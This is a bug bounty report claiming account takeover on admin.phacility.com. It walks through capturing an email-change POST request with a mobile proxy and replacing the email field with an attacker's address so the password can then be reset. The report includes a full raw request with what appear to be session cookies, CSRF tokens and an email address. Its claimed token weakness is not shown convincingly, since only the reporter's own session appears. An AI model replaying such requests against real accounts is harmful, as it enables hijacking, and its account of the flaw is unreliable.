Phabricator · Report #1271710
Broken Authentication and Session Management lead to take over account
How it was found
Hello, I found vulnerability using phone
Summary : Session token weakness, allowing attackers to take over accounts
Tools : Lightning.apk (Browser) SandroProxy.apk or you can use all available proxies
Steps to Reproduce:
- Create a phacility account.
- Go to https://admin.phacility.com/settings/user/(username)/page/email/
- Add new account
- Open SandroProxy (Capture all http request) the request should look like this:
POST /settings/user/(username)/page/email/ HTTP/1.1 Host: admin.phacility.com Connection: keep-alive Content-Length: 157 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90" X-Phabricator-Csrf: B@5xu5frjn4f5238616917563d sec-ch-ua-mobile: ?1 User-Agent: Mozilla/5.0 (Linux; Android 8.1.0; vivo 1820) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36 X-Phabricator-Via: /settings/user/(username)/page/email/ Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://admin.phacility.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,cs;q=0.6 Cookie: aura=u2FOcME6PSlT; admin_phusr=amer17; admin_phsid=ld7bdwzjadvg5x3go3wykgzj3blk3qrdidlqd452; halo=9LIv4U24kVpa
csrf=B%402hmxctpgc672d004d5b2cc5c&form=1&dialog=1&new=true&email=asuuu17%40gmail.com&submit=true&wflow=true&ajax=true&metablock=3
Pay attention (email=), change the victim's email to the attacker email with the same token, in this case the attacker can enter his email
Impact
The weakness of the session token, allows the attacker to add his email and reset the password via the attacker's email